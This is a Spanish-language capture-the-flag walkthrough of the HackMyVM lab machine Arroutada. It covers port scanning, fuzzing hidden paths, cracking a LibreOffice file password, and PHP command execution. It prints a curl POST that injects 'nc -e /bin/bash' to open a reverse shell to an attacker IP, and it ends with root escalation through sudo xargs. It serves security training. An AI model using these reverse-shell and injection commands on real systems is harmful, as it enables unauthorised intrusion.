Arroutada - HackMyVm

Featured image

En esta ocasión resolvemos la máquina Arroutada creada por Rijaba1 que está disponible en la plataforma de HackmyVm.

Un pequeño INDICE

  1. Reconocimiento.
  2. Explotación.
  3. Escalada de Privilegios.

Reconocimiento #

Comenzamos como siempre lanzando nmap para realizar un reconocimiento de puertos.

nmap -p- -Pn -n --min-rate 5000 192.168.0.30

A continuación lanzo una serie de scripts básicos de nmap (sC) y el parámetro sV para descubrir los servicios y versiones que corren en cada puerto, en este caso solo en el puerto 80, ya que es el único puerto abierto.

nmap -p80 -sCV -n -Pn 192.168.0.30

Tenemos un servidor apache httpd 2.4.54 y poco más, por lo que comienzo a enumerar.

Explotación #

Tras acceder desde el navegador encontré lo siguiente:

Parece una simple imagen pero podría tener algo escondido por lo que decido descargarla y lanzar herramienta exiftool para analizar los metadatos de la imagen y buscar posibles pistas.

Y encuentro una ruta “/scout” por lo que accedo a ella desde el navegador.

Vemos otra ruta /scout/**/docs pero nos falta descubrir la ruta que hay entre medias, por lo que toca fuzzear y para ello usaré wfuzz.

Y encuentro la ruta /j2, por lo que ya tengo la ruta completa asique accedo a la misma desde el navegador.

Al accede encuentro un montón de archivos.

En el archivo pass.txt no hay nada de interés pero el archivo shellfile.ods si me llama la atención, la extensión .ods es de LibreOffice por lo que lo descargo y lo abro pero me pide contraseña…

Para poder craquearlo existe una utilidad de John The Ripper llamada libreofficejohn2.py con la que puedo generar el hash y craquearlo después.

Ahora lo crackeo con John y obtengo la contraseña.

john11 es la contraseña.

Abro el archivo y encuentro esto.

Encuentro otra ruta, esta vez un archivo php, por lo que podría haber un RCE asique pruebo a fuzzear de nuevo…

Veo que el parámetro a es el que necesito para ejecutar el RCE pero al intentarlo me arroja otro un error.

Se me ocurre combinar el parámetro a con el b y fuzzear de nuevo.

Y por suerte lo consigo.

Por lo que ahora intento obtener acceso al sistema introduciendo una reverse shell en netcat.

Consigo acceso a la máquina pero primero he de realizar el tratamiento de la tty.

script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset
xterm-256color
export XTERM=xterm-256color
export SHELL=bash

Tras actualizar la tty echo un vistazo a los usuarios existentes en la máquina y veo que existe el usuario drito, por lo que lo primero será migrarme a este usuario asique procedo a enumerar un poco…

Lo primero que hago es buscar procesos existentes pero no veo nada que me llame la atención, por lo que mi siguiente paso es buscar algún puerto abierto…

Hago uso del comando netstat pero no está instalado en el sistema por lo que pruebo a usar ss -tulpn y veo que existe el puerto 8000 abierto.

Para poder acceder a este puerto he de usar chisel o parecidos para poder efectuar un Port Forwarding.

Paso el binario de chisel a la máquina víctima y efectúo los siguientes comandos.

Ahora ya puedo acceder al puerto 8000 desde mi navegador, y encuentro lo siguiente.

Es una cadena ofuscada en Brainfuck, por lo que la desofusco y veo el contenido.

Pero no me sirve de nada por lo que regreso al navegador e inspecciono el código fuente por si me he dejado algo por ahí…

Y por suerte encuentro una ruta /priv.php

Accedo a la ruta e inspecciono el código fuente

Nos dice que falta un parámetro (command) y podemos ver que el propio parámetro ha de ir en json, por lo que vamos a probar a hacerle una petición POST con curl usando el parámetro command y metiendo la data en json.

Esto lo hago de la siguiente forma:

curl -X POST "http://127.0.0.1:8000/priv.php" -d ´{"command": "whoami;id;hostname"}´             

Al ver que funciona lo que hago es intentar ganar acceso a la máquina a través de una reverse shell en netcat.

curl -X POST "http://127.0.0.1:8000/priv.php" -d ´{"command": "nc -e /bin/bash 192.168.0.18 1234"}´

Consigo ganar acceso a la máquina como el usuario drito, por lo que lo siguiente paso es escalar privilegios a root, pero antes como de costumbre lo primero es actualizar la tty.

script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset
xterm-256color
export XTERM=xterm-256color
export SHELL=bash

ESCALADA DE PRIVILEGIOS #

Tras actualizar la tty lanzo el comando sudo -l.

Puedo ejecutar el binario xargs como root sin contraseña por lo que lo primero que se me ocurre al tratarse de un binario es dirigirme a gtfobins.

Ejecuto el comando y… me convierto en root.

Gracias Rijaba por esta máquina!!!!